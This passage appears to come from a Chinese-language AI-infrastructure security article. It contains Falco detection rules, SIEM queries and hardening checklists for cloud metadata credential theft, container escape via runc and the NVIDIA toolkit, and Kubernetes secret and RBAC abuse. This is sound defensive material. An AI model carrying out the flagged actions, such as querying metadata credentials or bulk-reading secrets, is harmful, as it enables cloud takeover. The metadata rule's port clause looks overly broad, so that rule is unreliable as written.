/proc/sysrq-trigger) or
fd.name startswith /host/var/lib/kubelet/)
output: >
Container reading host sensitive file
(user=%user.name container=%container.name
file=%fd.name proc=%proc.cmdline)
priority: CRITICAL
tags: [container, escape, filesystem]
# 规则 3: 向 /proc/sys 写入(core_pattern 攻击)
- rule: Write to Proc Sys
desc: 检测向 /proc/sys 写入(runc 逃逸利用)
condition: >
open_write and container and
fd.name startswith /proc/sys/
output: >
Write to /proc/sys from container
(user=%user.name container=%container.name
file=%fd.name proc=%proc.cmdline)
priority: CRITICAL
tags: [container, escape, privilege_escalation]
# 规则 4: 检测 IMDS 访问
- rule: Container Accessing Cloud Metadata Service
desc: 检测容器访问云元数据服务
condition: >
outbound and container and
(fd.sip="169.254.169.254" or
fd.sip="metadata.google.internal" or
fd.sport in (80, 443))
output: >
Container accessing cloud metadata service
(container=%container.name image=%container.image.repository
dest=%fd.sip:%fd.sport proc=%proc.cmdline)
priority: CRITICAL
tags: [cloud, imds, credential_access]
# 规则 5: 特权容器创建
- rule: Create Privileged Pod
desc: 检测创建特权 Pod 的请求
condition: >
ka.req.pod.spec.containers.privileged intersect (true)
output: >
Privileged pod created
(user=%ka.user.name pod=%ka.req.pod.name
ns=%ka.req.pod.ns containers=%ka.req.pod.spec.containers.name)
priority: WARNING
tags: [k8s, privilege_escalation]
# 规则 6: 读取 K8s Secrets
- rule: Read Kubernetes Secrets
desc: 检测大量读取 Secrets 的行为
condition: >
ka.verb=get and ka.resource=secrets and
ka.req.count > 5
output: >
Bulk secret reads detected
(user=%ka.user.name ns=%ka.req.ns
count=%ka.req.count)
priority: WARNING
tags: [k8s, credential_access]
6.2 K8s Audit Log 告警规则
"""
K8s Audit Log SIEM 告警规则
使用 Elasticsearch / Splunk / Loki 查询
"""
# Elastic KQL 查询: 危险 RBAC 变更
dangerous_rbac_query = """
kubernetes.audit.verb: ("create" or "update" or "patch") and
kubernetes.audit.resource: ("clusterrolebindings" or "clusterroles" or
"rolebindings" or "roles") and
NOT kubernetes.audit.user.username: ("system:kube-controller-manager" or
"system:kube-scheduler")
"""
# Splunk SPL: 特权 Pod 创建
splunk_priv_pod_query = """
index=k8s_audit verb=create resource=pods
| search spec.containers{}.securityContext.privileged=true
| stats count by user.username, objectRef.namespace, objectRef.name
| sort -count
"""
# 检测 ServiceAccount Token 异常使用
sa_token_abuse_query = """
index=k8s_audit
(verb=get AND resource=secrets AND resourceName="*token*")
OR
(verb=create AND resource=pods AND
requestObject.spec.serviceAccountName!="default" AND
requestObject.spec.hostPID=true)
| stats count by user.username, sourceIPs{}, verb, resource
| where count > 10
"""
# AWS CloudTrail: IMDS 凭证滥用
cloudtrail_imds_query = """
index=cloudtrail
(eventSource=ec2.amazonaws.com AND eventName=GetInstanceIdentityDocument)
OR
(eventSource=sts.amazonaws.com AND eventName=AssumeRoleWithWebIdentity AND
userIdentity.sessionContext.sessionIssuer.arn="*AIInferenceRole*")
| stats count by sourceIPAddress, userIdentity.arn
| sort -count
"""
7. AI 基础设施安全加固清单
7.1 云层加固
| 措施 |
优先级 |
实施方法 |
| 强制 IMDSv2 |
P0 |
aws ec2 modify-instance-metadata-options --http-tokens required |
| 最小权限 IAM |
P0 |
禁止 *:* 通配符,使用 IAM Access Analyzer |
| 隔离元数据访问 |
P0 |
NetworkPolicy 阻断 Pod → 169.254.169.254 |
| 启用 CloudTrail |
P1 |
全区域日志记录,集成 SIEM |
| VPC Flow Logs |
P1 |
检测异常网络流量 |
| Secrets Manager |
P1 |
使用 External Secrets Operator + Vault |
7.2 容器层加固
| 措施 |
优先级 |
实施方法 |
| 升级 runc ≥ 1.2.8 |
P0 |
修复 CVE-2025-31133 系列 |
| 升级 NVIDIA Toolkit ≥ 1.17.8 |
P0 |
修复 CVE-2025-23266 |
| Pod Security Admission |
P0 |
namespace 标注 enforce: restricted |
| 禁用特权容器 |
P0 |
privileged: false + allowPrivilegeEscalation: false |
| 只读根文件系统 |
P1 |
readOnlyRootFilesystem: true |
| Seccomp Profile |
P1 |
seccompProfile: RuntimeDefault |
| 镜像签名验证 |
P1 |
Cosign + Kyverno 策略 |
| 禁用 latest 标签 |
P1 |
使用 digest 固定 |
7.3 K8s 层加固
| 措施 |
优先级 |
实施方法 |
| 升级 Ingress-NGINX |
P0 |
修复 CVE-2025-1974 |
| etcd TLS 认证 |
P0 |
--client-cert-auth=true |
| RBAC 最小权限 |
P0 |
禁止通配符权限,禁止 SA 绑定 cluster-admin |
| 关闭 SA Token 自动挂载 |
P1 |
automountServiceAccountToken: false |
| 默认拒绝网络策略 |
P1 |
default-deny-all |
| 启用审计日志 |
P1 |
--audit-log-path + SIEM 集成 |
| 部署 Falco |
P1 |
运行时入侵检测 |
| 定期 RBAC 审计 |
P2 |
kubectl auth can-i --list 全量扫描 |
8. 总结
| 攻击面 |
核心威胁 |
关键防御 |
| 云 IMDS |
SSRF → 凭证窃取 → 云接管 |
IMDSv2 + NetworkPolicy |
| runc |
符号链接 + masked path 逃逸 |
升级 ≥ 1.2.8 + PSA restricted |
| NVIDIA Toolkit |
LD_PRELOAD → 主机 root |
升级 ≥ 1.17.8 + seccomp |
| Ingress-NGINX |
AdmissionReview 注入 RCE |
升级 + 限制 webhook 访问 |
| etcd |
未认证读取集群全部数据 |
TLS + client-cert-auth |
| K8s RBAC |
SA Token → Workload Identity → 云 IAM |
最小权限 + 关闭自动挂载 |
核心原则:AI 基础设施安全 = 云安全 + 容器安全 + K8s 安全 + AI 模型安全的纵深防御体系。任何单层防御被突破都可能导致模型权重泄露、训练数据外泄或整个云账户被接管。
免责声明重申:本文所有漏洞分析、PoC 代码和攻击链复现均基于公开披露的安全研究资料和 CVE 官方公告。所有代码仅用于理解攻击原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。